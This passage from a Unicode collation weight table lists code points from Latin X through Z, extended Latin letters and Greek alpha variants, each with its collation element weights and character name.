[.1E7A.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL X +1D653 ; [.1E7A.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL X +1D687 ; [.1E7A.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL X +24CD ; [.1E7A.0020.000C] # CIRCLED LATIN CAPITAL LETTER X +1F167 ; [.1E7A.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER X +02E3 ; [.1E7A.0020.0014] # MODIFIER LETTER SMALL X +2093 ; [.1E7A.0020.0015] # LATIN SUBSCRIPT SMALL LETTER X +1F147 ; [.1E7A.0020.001D] # SQUARED LATIN CAPITAL LETTER X +1F187 ; [.1E7A.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER X +1E8D ; [.1E7A.0020.0002][.0000.002B.0002] # LATIN SMALL LETTER X WITH DIAERESIS +1E8C ; [.1E7A.0020.0008][.0000.002B.0002] # LATIN CAPITAL LETTER X WITH DIAERESIS +1E8B ; [.1E7A.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER X WITH DOT ABOVE +1E8A ; [.1E7A.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER X WITH DOT ABOVE +217A ; [.1E7A.0020.0004][.1CAD.0020.0004] # SMALL ROMAN NUMERAL ELEVEN +216A ; [.1E7A.0020.000A][.1CAD.0020.000A] # ROMAN NUMERAL ELEVEN +217B ; [.1E7A.0020.0004][.1CAD.0020.0004][.1CAD.0020.0004] # SMALL ROMAN NUMERAL TWELVE +216B ; [.1E7A.0020.000A][.1CAD.0020.000A][.1CAD.0020.000A] # ROMAN NUMERAL TWELVE +1D8D ; [.1E7E.0020.0002] # LATIN SMALL LETTER X WITH PALATAL HOOK +AB56 ; [.1E7F.0020.0002] # LATIN SMALL LETTER X WITH LOW RIGHT RING +AB57 ; [.1E80.0020.0002] # LATIN SMALL LETTER X WITH LONG LEFT LEG +AB58 ; [.1E81.0020.0002] # LATIN SMALL LETTER X WITH LONG LEFT LEG AND LOW RIGHT RING +AB59 ; [.1E82.0020.0002] # LATIN SMALL LETTER X WITH LONG LEFT LEG WITH SERIF +AB53 ; [.1E83.0020.0002] # LATIN SMALL LETTER CHI +A7B3 ; [.1E83.0020.0008] # LATIN CAPITAL LETTER CHI +AB54 ; [.1E84.0020.0002] # LATIN SMALL LETTER CHI WITH LOW RIGHT RING +AB55 ; [.1E85.0020.0002] # LATIN SMALL LETTER CHI WITH LOW LEFT SERIF +0079 ; [.1E86.0020.0002] # LATIN SMALL LETTER Y +FF59 ; [.1E86.0020.0003] # FULLWIDTH LATIN SMALL LETTER Y +24B4 ; [*0310.0020.0004][.1E86.0020.0004][*0311.0020.0004] # PARENTHESIZED LATIN SMALL LETTER Y +1D432 ; [.1E86.0020.0005] # MATHEMATICAL BOLD SMALL Y +1D466 ; [.1E86.0020.0005] # MATHEMATICAL ITALIC SMALL Y +1D49A ; [.1E86.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL Y +1D4CE ; [.1E86.0020.0005] # MATHEMATICAL SCRIPT SMALL Y +1D502 ; [.1E86.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL Y +1D536 ; [.1E86.0020.0005] # MATHEMATICAL FRAKTUR SMALL Y +1D56A ; [.1E86.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL Y +1D59E ; [.1E86.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL Y +1D5D2 ; [.1E86.0020.0005] # MATHEMATICAL SANS-SERIF SMALL Y +1D606 ; [.1E86.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL Y +1D63A ; [.1E86.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL Y +1D66E ; [.1E86.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL Y +1D6A2 ; [.1E86.0020.0005] # MATHEMATICAL MONOSPACE SMALL Y +24E8 ; [.1E86.0020.0006] # CIRCLED LATIN SMALL LETTER Y +0059 ; [.1E86.0020.0008] # LATIN CAPITAL LETTER Y +FF39 ; [.1E86.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER Y +1F128 ; [*0310.0020.0004][.1E86.0020.000A][*0311.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER Y +1D418 ; [.1E86.0020.000B] # MATHEMATICAL BOLD CAPITAL Y +1D44C ; [.1E86.0020.000B] # MATHEMATICAL ITALIC CAPITAL Y +1D480 ; [.1E86.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL Y +1D4B4 ; [.1E86.0020.000B] # MATHEMATICAL SCRIPT CAPITAL Y +1D4E8 ; [.1E86.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL Y +1D51C ; [.1E86.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL Y +1D550 ; [.1E86.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL Y +1D584 ; [.1E86.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL Y +1D5B8 ; [.1E86.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL Y +1D5EC ; [.1E86.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL Y +1D620 ; [.1E86.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL Y +1D654 ; [.1E86.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL Y +1D688 ; [.1E86.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL Y +24CE ; [.1E86.0020.000C] # CIRCLED LATIN CAPITAL LETTER Y +1F168 ; [.1E86.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER Y +02B8 ; [.1E86.0020.0014] # MODIFIER LETTER SMALL Y +1F148 ; [.1E86.0020.001D] # SQUARED LATIN CAPITAL LETTER Y +1F188 ; [.1E86.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER Y +00FD ; [.1E86.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER Y WITH ACUTE +00DD ; [.1E86.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER Y WITH ACUTE +1EF3 ; [.1E86.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER Y WITH GRAVE +1EF2 ; [.1E86.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER Y WITH GRAVE +0177 ; [.1E86.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER Y WITH CIRCUMFLEX +0176 ; [.1E86.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER Y WITH CIRCUMFLEX +1E99 ; [.1E86.0020.0002][.0000.0029.0002] # LATIN SMALL LETTER Y WITH RING ABOVE +00FF ; [.1E86.0020.0002][.0000.002B.0002] # LATIN SMALL LETTER Y WITH DIAERESIS +0178 ; [.1E86.0020.0008][.0000.002B.0002] # LATIN CAPITAL LETTER Y WITH DIAERESIS +1EF9 ; [.1E86.0020.0002][.0000.002D.0002] # LATIN SMALL LETTER Y WITH TILDE +1EF8 ; [.1E86.0020.0008][.0000.002D.0002] # LATIN CAPITAL LETTER Y WITH TILDE +1E8F ; [.1E86.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER Y WITH DOT ABOVE +1E8E ; [.1E86.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER Y WITH DOT ABOVE +0233 ; [.1E86.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER Y WITH MACRON +0232 ; [.1E86.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER Y WITH MACRON +1EF7 ; [.1E86.0020.0002][.0000.003B.0002] # LATIN SMALL LETTER Y WITH HOOK ABOVE +1EF6 ; [.1E86.0020.0008][.0000.003B.0002] # LATIN CAPITAL LETTER Y WITH HOOK ABOVE +1EF5 ; [.1E86.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER Y WITH DOT BELOW +1EF4 ; [.1E86.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER Y WITH DOT BELOW +028F ; [.1E8A.0020.0002] # LATIN LETTER SMALL CAPITAL Y +024F ; [.1E8E.0020.0002] # LATIN SMALL LETTER Y WITH STROKE +024E ; [.1E8E.0020.0008] # LATIN CAPITAL LETTER Y WITH STROKE +01B4 ; [.1E92.0020.0002] # LATIN SMALL LETTER Y WITH HOOK +01B3 ; [.1E92.0020.0008] # LATIN CAPITAL LETTER Y WITH HOOK +1EFF ; [.1E96.0020.0002] # LATIN SMALL LETTER Y WITH LOOP +1EFE ; [.1E96.0020.0008] # LATIN CAPITAL LETTER Y WITH LOOP +AB5A ; [.1E97.0020.0002] # LATIN SMALL LETTER Y WITH SHORT RIGHT LEG +021D ; [.1E98.0020.0002] # LATIN SMALL LETTER YOGH +021C ; [.1E98.0020.0008] # LATIN CAPITAL LETTER YOGH +007A ; [.1E9C.0020.0002] # LATIN SMALL LETTER Z +FF5A ; [.1E9C.0020.0003] # FULLWIDTH LATIN SMALL LETTER Z +1DE6 ; [.1E9C.0020.0004] # COMBINING LATIN SMALL LETTER Z +24B5 ; [*0310.0020.0004][.1E9C.0020.0004][*0311.0020.0004] # PARENTHESIZED LATIN SMALL LETTER Z +1D433 ; [.1E9C.0020.0005] # MATHEMATICAL BOLD SMALL Z +1D467 ; [.1E9C.0020.0005] # MATHEMATICAL ITALIC SMALL Z +1D49B ; [.1E9C.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL Z +1D4CF ; [.1E9C.0020.0005] # MATHEMATICAL SCRIPT SMALL Z +1D503 ; [.1E9C.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL Z +1D537 ; [.1E9C.0020.0005] # MATHEMATICAL FRAKTUR SMALL Z +1D56B ; [.1E9C.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL Z +1D59F ; [.1E9C.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL Z +1D5D3 ; [.1E9C.0020.0005] # MATHEMATICAL SANS-SERIF SMALL Z +1D607 ; [.1E9C.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL Z +1D63B ; [.1E9C.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL Z +1D66F ; [.1E9C.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL Z +1D6A3 ; [.1E9C.0020.0005] # MATHEMATICAL MONOSPACE SMALL Z +24E9 ; [.1E9C.0020.0006] # CIRCLED LATIN SMALL LETTER Z +005A ; [.1E9C.0020.0008] # LATIN CAPITAL LETTER Z +FF3A ; [.1E9C.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER Z +1F129 ; [*0310.0020.0004][.1E9C.0020.000A][*0311.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER Z +2124 ; [.1E9C.0020.000B] # DOUBLE-STRUCK CAPITAL Z +2128 ; [.1E9C.0020.000B] # BLACK-LETTER CAPITAL Z +1D419 ; [.1E9C.0020.000B] # MATHEMATICAL BOLD CAPITAL Z +1D44D ; [.1E9C.0020.000B] # MATHEMATICAL ITALIC CAPITAL Z +1D481 ; [.1E9C.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL Z +1D4B5 ; [.1E9C.0020.000B] # MATHEMATICAL SCRIPT CAPITAL Z +1D4E9 ; [.1E9C.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL Z +1D585 ; [.1E9C.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL Z +1D5B9 ; [.1E9C.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL Z +1D5ED ; [.1E9C.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL Z +1D621 ; [.1E9C.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL Z +1D655 ; [.1E9C.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL Z +1D689 ; [.1E9C.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL Z +24CF ; [.1E9C.0020.000C] # CIRCLED LATIN CAPITAL LETTER Z +1F169 ; [.1E9C.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER Z +1DBB ; [.1E9C.0020.0014] # MODIFIER LETTER SMALL Z +1F149 ; [.1E9C.0020.001D] # SQUARED LATIN CAPITAL LETTER Z +1F189 ; [.1E9C.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER Z +017A ; [.1E9C.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER Z WITH ACUTE +0179 ; [.1E9C.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER Z WITH ACUTE +1E91 ; [.1E9C.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER Z WITH CIRCUMFLEX +1E90 ; [.1E9C.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER Z WITH CIRCUMFLEX +017E ; [.1E9C.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER Z WITH CARON +017D ; [.1E9C.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER Z WITH CARON +017C ; [.1E9C.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER Z WITH DOT ABOVE +017B ; [.1E9C.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER Z WITH DOT ABOVE +1E93 ; [.1E9C.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER Z WITH DOT BELOW +1E92 ; [.1E9C.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER Z WITH DOT BELOW +1E95 ; [.1E9C.0020.0002][.0000.0049.0002] # LATIN SMALL LETTER Z WITH LINE BELOW +1E94 ; [.1E9C.0020.0008][.0000.0049.0002] # LATIN CAPITAL LETTER Z WITH LINE BELOW +018D ; [.1E9C.0020.0004][.1E70.0020.0004] # LATIN SMALL LETTER TURNED DELTA +1D22 ; [.1EA0.0020.0002] # LATIN LETTER SMALL CAPITAL Z +01B6 ; [.1EA1.0020.0002] # LATIN SMALL LETTER Z WITH STROKE +01B5 ; [.1EA1.0020.0008] # LATIN CAPITAL LETTER Z WITH STROKE +1D76 ; [.1EA5.0020.0002] # LATIN SMALL LETTER Z WITH MIDDLE TILDE +1D8E ; [.1EA6.0020.0002] # LATIN SMALL LETTER Z WITH PALATAL HOOK +0225 ; [.1EA7.0020.0002] # LATIN SMALL LETTER Z WITH HOOK +0224 ; [.1EA7.0020.0008] # LATIN CAPITAL LETTER Z WITH HOOK +0290 ; [.1EAB.0020.0002] # LATIN SMALL LETTER Z WITH RETROFLEX HOOK +1DBC ; [.1EAB.0020.0014] # MODIFIER LETTER SMALL Z WITH RETROFLEX HOOK +0291 ; [.1EAF.0020.0002] # LATIN SMALL LETTER Z WITH CURL +1DBD ; [.1EAF.0020.0014] # MODIFIER LETTER SMALL Z WITH CURL +0240 ; [.1EB3.0020.0002] # LATIN SMALL LETTER Z WITH SWASH TAIL +2C7F ; [.1EB3.0020.0008] # LATIN CAPITAL LETTER Z WITH SWASH TAIL +2C6C ; [.1EB7.0020.0002] # LATIN SMALL LETTER Z WITH DESCENDER +2C6B ; [.1EB7.0020.0008] # LATIN CAPITAL LETTER Z WITH DESCENDER +A763 ; [.1EB8.0020.0002] # LATIN SMALL LETTER VISIGOTHIC Z +A762 ; [.1EB8.0020.0008] # LATIN CAPITAL LETTER VISIGOTHIC Z +0292 ; [.1EB9.0020.0002] # LATIN SMALL LETTER EZH +01B7 ; [.1EB9.0020.0008] # LATIN CAPITAL LETTER EZH +1DBE ; [.1EB9.0020.0014] # MODIFIER LETTER SMALL EZH +01EF ; [.1EB9.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER EZH WITH CARON +01EE ; [.1EB9.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER EZH WITH CARON +1D23 ; [.1EBD.0020.0002] # LATIN LETTER SMALL CAPITAL EZH +01B9 ; [.1EBE.0020.0002] # LATIN SMALL LETTER EZH REVERSED +01B8 ; [.1EBE.0020.0008] # LATIN CAPITAL LETTER EZH REVERSED +1D9A ; [.1EC2.0020.0002] # LATIN SMALL LETTER EZH WITH RETROFLEX HOOK +01BA ; [.1EC3.0020.0002] # LATIN SMALL LETTER EZH WITH TAIL +0293 ; [.1EC7.0020.0002] # LATIN SMALL LETTER EZH WITH CURL +00FE ; [.1ECB.0020.0002] # LATIN SMALL LETTER THORN +00DE ; [.1ECB.0020.0008] # LATIN CAPITAL LETTER THORN +A765 ; [.1ECF.0020.0002] # LATIN SMALL LETTER THORN WITH STROKE +A764 ; [.1ECF.0020.0008] # LATIN CAPITAL LETTER THORN WITH STROKE +A767 ; [.1ED0.0020.0002] # LATIN SMALL LETTER THORN WITH STROKE THROUGH DESCENDER +A766 ; [.1ED0.0020.0008] # LATIN CAPITAL LETTER THORN WITH STROKE THROUGH DESCENDER +01BF ; [.1ED1.0020.0002] # LATIN LETTER WYNN +01F7 ; [.1ED1.0020.0008] # LATIN CAPITAL LETTER WYNN +A769 ; [.1ED5.0020.0002] # LATIN SMALL LETTER VEND +A768 ; [.1ED5.0020.0008] # LATIN CAPITAL LETTER VEND +AB60 ; [.1ED6.0020.0002] # LATIN SMALL LETTER SAKHA YAT +AB61 ; [.1ED7.0020.0002] # LATIN SMALL LETTER IOTIFIED E +AB63 ; [.1ED8.0020.0002] # LATIN SMALL LETTER UO +A76B ; [.1ED9.0020.0002] # LATIN SMALL LETTER ET +A76A ; [.1ED9.0020.0008] # LATIN CAPITAL LETTER ET +A76D ; [.1EDA.0020.0002] # LATIN SMALL LETTER IS +A76C ; [.1EDA.0020.0008] # LATIN CAPITAL LETTER IS +A76F ; [.1EDB.0020.0002] # LATIN SMALL LETTER CON +1DD2 ; [.1EDB.0020.0004] # COMBINING US ABOVE +A76E ; [.1EDB.0020.0008] # LATIN CAPITAL LETTER CON +A770 ; [.1EDB.0020.0014] # MODIFIER LETTER US +A778 ; [.1EDC.0020.0002] # LATIN SMALL LETTER UM +01BB ; [.1EDD.0020.0002] # LATIN LETTER TWO WITH STROKE +A72B ; [.1EE1.0020.0002] # LATIN SMALL LETTER TRESILLO +A72A ; [.1EE1.0020.0008] # LATIN CAPITAL LETTER TRESILLO +A72D ; [.1EE2.0020.0002] # LATIN SMALL LETTER CUATRILLO +A72C ; [.1EE2.0020.0008] # LATIN CAPITAL LETTER CUATRILLO +A72F ; [.1EE3.0020.0002] # LATIN SMALL LETTER CUATRILLO WITH COMMA +A72E ; [.1EE3.0020.0008] # LATIN CAPITAL LETTER CUATRILLO WITH COMMA +01A8 ; [.1EE4.0020.0002] # LATIN SMALL LETTER TONE TWO +01A7 ; [.1EE4.0020.0008] # LATIN CAPITAL LETTER TONE TWO +01BD ; [.1EE8.0020.0002] # LATIN SMALL LETTER TONE FIVE +01BC ; [.1EE8.0020.0008] # LATIN CAPITAL LETTER TONE FIVE +0185 ; [.1EEC.0020.0002] # LATIN SMALL LETTER TONE SIX +0184 ; [.1EEC.0020.0008] # LATIN CAPITAL LETTER TONE SIX +0294 ; [.1EF0.0020.0002] # LATIN LETTER GLOTTAL STOP +0242 ; [.1EF4.0020.0002] # LATIN SMALL LETTER GLOTTAL STOP +0241 ; [.1EF4.0020.0008] # LATIN CAPITAL LETTER GLOTTAL STOP +02C0 ; [.1EF8.0020.0002] # MODIFIER LETTER GLOTTAL STOP +02BC ; [.1EF9.0020.0002] # MODIFIER LETTER APOSTROPHE +0149 ; [.1EF9.0020.0004][.1D34.0020.0004] # LATIN SMALL LETTER N PRECEDED BY APOSTROPHE +02EE ; [.1EFA.0020.0002] # MODIFIER LETTER DOUBLE APOSTROPHE +02BE ; [.1EFB.0020.0002] # MODIFIER LETTER RIGHT HALF RING +A723 ; [.1EFC.0020.0002] # LATIN SMALL LETTER EGYPTOLOGICAL ALEF +A722 ; [.1EFC.0020.0008] # LATIN CAPITAL LETTER EGYPTOLOGICAL ALEF +A78C ; [.1EFD.0020.0002] # LATIN SMALL LETTER SALTILLO +A78B ; [.1EFD.0020.0008] # LATIN CAPITAL LETTER SALTILLO +A78F ; [.1EFE.0020.0002] # LATIN LETTER SINOLOGICAL DOT +0295 ; [.1EFF.0020.0002] # LATIN LETTER PHARYNGEAL VOICED FRICATIVE +02E4 ; [.1EFF.0020.0014] # MODIFIER LETTER SMALL REVERSED GLOTTAL STOP +02BF ; [.1F03.0020.0002] # MODIFIER LETTER LEFT HALF RING +02C1 ; [.1F04.0020.0002] # MODIFIER LETTER REVERSED GLOTTAL STOP +1D24 ; [.1F05.0020.0002] # LATIN LETTER VOICED LARYNGEAL SPIRANT +1D25 ; [.1F06.0020.0002] # LATIN LETTER AIN +1D5C ; [.1F06.0020.0014] # MODIFIER LETTER SMALL AIN +A725 ; [.1F07.0020.0002] # LATIN SMALL LETTER EGYPTOLOGICAL AIN +A724 ; [.1F07.0020.0008] # LATIN CAPITAL LETTER EGYPTOLOGICAL AIN +02A1 ; [.1F08.0020.0002] # LATIN LETTER GLOTTAL STOP WITH STROKE +02A2 ; [.1F0C.0020.0002] # LATIN LETTER REVERSED GLOTTAL STOP WITH STROKE +0296 ; [.1F10.0020.0002] # LATIN LETTER INVERTED GLOTTAL STOP +01C0 ; [.1F14.0020.0002] # LATIN LETTER DENTAL CLICK +01C1 ; [.1F18.0020.0002] # LATIN LETTER LATERAL CLICK +01C2 ; [.1F1C.0020.0002] # LATIN LETTER ALVEOLAR CLICK +01C3 ; [.1F20.0020.0002] # LATIN LETTER RETROFLEX CLICK +0297 ; [.1F24.0020.0002] # LATIN LETTER STRETCHED C +0298 ; [.1F28.0020.0002] # LATIN LETTER BILABIAL CLICK +02AC ; [.1F2C.0020.0002] # LATIN LETTER BILABIAL PERCUSSIVE +02AD ; [.1F30.0020.0002] # LATIN LETTER BIDENTAL PERCUSSIVE +03B1 ; [.1F34.0020.0002] # GREEK SMALL LETTER ALPHA +1D6C2 ; [.1F34.0020.0005] # MATHEMATICAL BOLD SMALL ALPHA +1D6FC ; [.1F34.0020.0005] # MATHEMATICAL ITALIC SMALL ALPHA +1D736 ; [.1F34.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL ALPHA +1D770 ; [.1F34.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL ALPHA +1D7AA ; [.1F34.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL ALPHA +0391 ; [.1F34.0020.0008] # GREEK CAPITAL LETTER ALPHA +1D6A8 ; [.1F34.0020.000B] # MATHEMATICAL BOLD CAPITAL ALPHA +1D6E2 ; [.1F34.0020.000B] # MATHEMATICAL ITALIC CAPITAL ALPHA +1D71C ; [.1F34.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL ALPHA +1D756 ; [.1F34.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL ALPHA +1D790 ; [.1F34.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL ALPHA +1F00 ; [.1F34.0020.0002][.0000.0022.0002] # GREEK SMALL LETTER ALPHA WITH PSILI +1F08 ; [.1F34.0020.0008][.0000.0022.0002] # GREEK CAPITAL LETTER ALPHA WITH PSILI +1F04 ; [.1F34.0020.0002][.0000.0022.0002][.0000.0024.0002] # GREEK SMALL LETTER ALPHA WITH PSILI AND OXIA +1F0C ; [.1F34.0020.0008][.0000.0022.0002][.0000.0024.0002] # GREEK CAPITAL LETTER ALPHA WITH PSILI AND OXIA +1F84 ; [.1F34.0020.0002][.0000.0022.0002][.0000.0024.0002][.0000.004C.0002] # GREEK SMALL LETTER ALPHA WITH PSILI AND OXIA AND YPOGEGRAMMENI +1F8C ; [.1F34.0020.0008][.0000.0022.0002][.0000.0024.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ALPHA WITH PSILI AND OXIA AND PROSGEGRAMMENI +1F02 ; [.1F34.0020.0002][.0000.0022.0002][.0000.0025.0002] # GREEK SMALL LETTER ALPHA WITH PSILI AND VARIA +1F0A ; [.1F34.0020.0008][.0000.0022.0002][.0000.0025.0002] # GREEK CAPITAL LETTER ALPHA WITH PSILI AND VARIA +1F82 ; [.1F34.0020.0002][.0000.0022.0002][.0000.0025.0002][.0000.004C.0002] # GREEK SMALL LETTER ALPHA WITH PSILI AND VARIA AND YPOGEGRAMMENI +1F8A ; [.1F34.0020.0008][.0000.0022.0002][.0000.0025.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ALPHA WITH PSILI AND VARIA AND PROSGEGRAMMENI +1F06 ; [.1F34.0020.0002][.0000.0022.0002][.0000.002A.0002] # GREEK SMALL LETTER ALPHA WITH PSILI AND PERISPOMENI +1F0E ; [.1F34.0020.0008][.0000.0022.0002][.0000.002A.0002] # GREEK CAPITAL LETTER ALPHA WITH PSILI AND PERISPOMENI +1F86 ; [.1F34.0020.0002][.0000.0022.0002][.0000.002A.0002][.0000.004C.0002] # GREEK SMALL LETTER ALPHA WITH PSILI AND PERISPOMENI AND YPOGEGRAMMENI +1F8E ; [.1F34.0020.0008][.0000.0022.0002][.0000.002A.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ALPHA WITH PSILI AND PERISPOMENI AND PROSGEGRAMMENI +1F80 ; [.1F34.0020.0002][.0000.0022.0002][.0000.004C.0002] # GREEK SMALL LETTER ALPHA WITH PSILI AND YPOGEGRAMMENI +1F88 ; [.1F34.0020.0008][.0000.0022.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ALPHA WITH PSILI AND PROSGEGRAMMENI +1F01 ; [.1F34.0020.0002][.0000.0023.0002] # GREEK SMALL LETTER ALPHA WITH DASIA +1F09 ; [.1F34.0020.0008][.0000.0023.0002] # GREEK CAPITAL LETTER ALPHA WITH DASIA +1F05 ; [.1F34.0020.0002][.0000.0023.0002][.0000.0024.0002] # GREEK SMALL LETTER ALPHA WITH DASIA AND OXIA +1F0D ; [.1F34.0020.0008][.0000.0023.0002][.0000.0024.0002] # GREEK CAPITAL LETTER ALPHA WITH DASIA AND OXIA +1F85 ; [.1F34.0020.0002][.0000.0023.0002][.0000.0024.0002][.0000.004C.0002] # GREEK SMALL LETTER ALPHA WITH DASIA AND OXIA AND YPOGEGRAMMENI +1F8D ; [.1F34.0020.0008][.0000.0023.0002][.0000.0024.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ALPHA WITH DASIA AND OXIA AND PROSGEGRAMMENI +1F03 ; [.1F34.0020.0002][.0000.0023.0002][.0000.0025.0002] # GREEK SMALL LETTER ALPHA WITH DASIA AND VARIA +1F0B ; [.1F34.0020.0008][.0000.0023.0002][.0000.0025.0002] # GREEK CAPITAL LETTER ALPHA WITH DASIA AND VARIA +1F83 ; [.1F34.0020.0002][.0000.0023.0002][.0000.0025.0002][.0000.004C.0002] # GREEK SMALL LETTER ALPHA WITH DASIA AND VARIA AND YPOGEGRAMMENI +1F8B ; [.1F34.0020.0008][.0000.0023.0002][.0000.0025.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ALPHA WITH DASIA AND VARIA AND PROSGEGRAMMENI +1F07 ; [.1F34.0020.0002][.0000.0023.0002][.0000.002A.0002] # GREEK SMALL LETTER ALPHA WITH DASIA AND PERISPOMENI +1F0F ; [.1F34.0020.0008][.0000.0023.0002][.0000.002A.0002] # GREEK CAPITAL LETTER ALPHA WITH DASIA AND PERISPOMENI +1F87 ; [.1F34.0020.0002][.0000.0023.0002][.0000.002A.0002][.0000.004C.0002] # GREEK SMALL LETTER ALPHA WITH DASIA AND PERISPOMENI AND YPOGEGRAMMENI +1F8F ; [.1F34.0020.0008][.0000.0023.0002][.0000.002A.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ALPHA WITH DASIA AND PERISPOMENI AND PROSGEGRAMMENI +1F81 ; [.1F34.0020.0002][.0000.0023.0002][.0000.004C.0002] # GREEK SMALL LETTER ALPHA WITH DASIA AND YPOGEGRAMMENI +1F89 ; [.1F34.0020.0008][.0000.0023.0002][.0000.004C.0002] # GREEK CAPITAL LETTER ALPHA WITH DASIA AND PROSGEGRAMMENI +03AC ; [.1F34.0020.0002][.0000.0024.0002] # GREEK SMALL LETTER ALPHA WITH TONOS +1F71 ; [.1F34.0020.0002][.0000.0024.0002] # GREEK SMALL LETTER ALPHA WITH OXIA +0386 ; [.1F34.0020.0008][.0000.0024.0002] # GREEK CAPITAL LETTER ALPHA WITH TONOS +1FBB ; [.1F34.0020.0008][.0000.0024.0002] # GREEK CAPITAL LETTER ALPHA WITH OXIA +1FB4 ; [.1F34.0020.0002][.0000.0024.0002][.0000.004C.0002] # GREEK SMALL LETTER ALPHA WITH OXIA AND YPOGEGRAMMENI +1F70 ; [.1F34.0020.0002][.0000.0025.0002] # GREEK SMALL LETTER ALPHA WITH VARIA +1FBA ; [.1F34.0020.0008][.0000.0025.0002] # GREEK CAPITAL LETTER ALPHA WITH VARIA +1FB2 ; [.1F34.0020.0002][.0000.0025.0002][.0000.004C.0002] # GREEK SMALL LETTER ALPHA WITH VARIA AND YPOGEGRAMMENI +1FB0 ; [.1F34.0020.0002][.0000.0026.0002] # GREEK SMALL LETTER ALPHA WITH VRACHY +1FB8 ; [.1F34.0020.0008][.0000.0026.0002] # GREEK CAPITAL LETTER ALPHA WITH VRACHY +1FB6 ; [.1F34.0020.0002][.0000.002A.0002] # GREEK SMALL LETTER ALPHA WITH PERISPOMENI +1FB7 ; [.1F34.0020.0002][.0000.002A.0002][.0000.004C.0002] # GREEK SMALL LETTER ALPHA WITH PERISPOMENI AND YPOGEGRAMMENI +1FB1 ; [.1F34.0020.0002][.0000.0032.0002] # GREEK SMALL LETTER ALPHA WITH MACRON +1FB9 ; [.1F34.0020.0008][.0000.0032.0002] # GREEK CAPITAL LETTER ALPHA WITH MACRON +1FB3 ; [.1F34.0020.0002][.0000.004C.0002] # GREEK SMALL LETTER ALPHA WITH YPOGEGRAMMENI +1FBC ; [.1F34.0020.0008][.0000.004C.0002] # 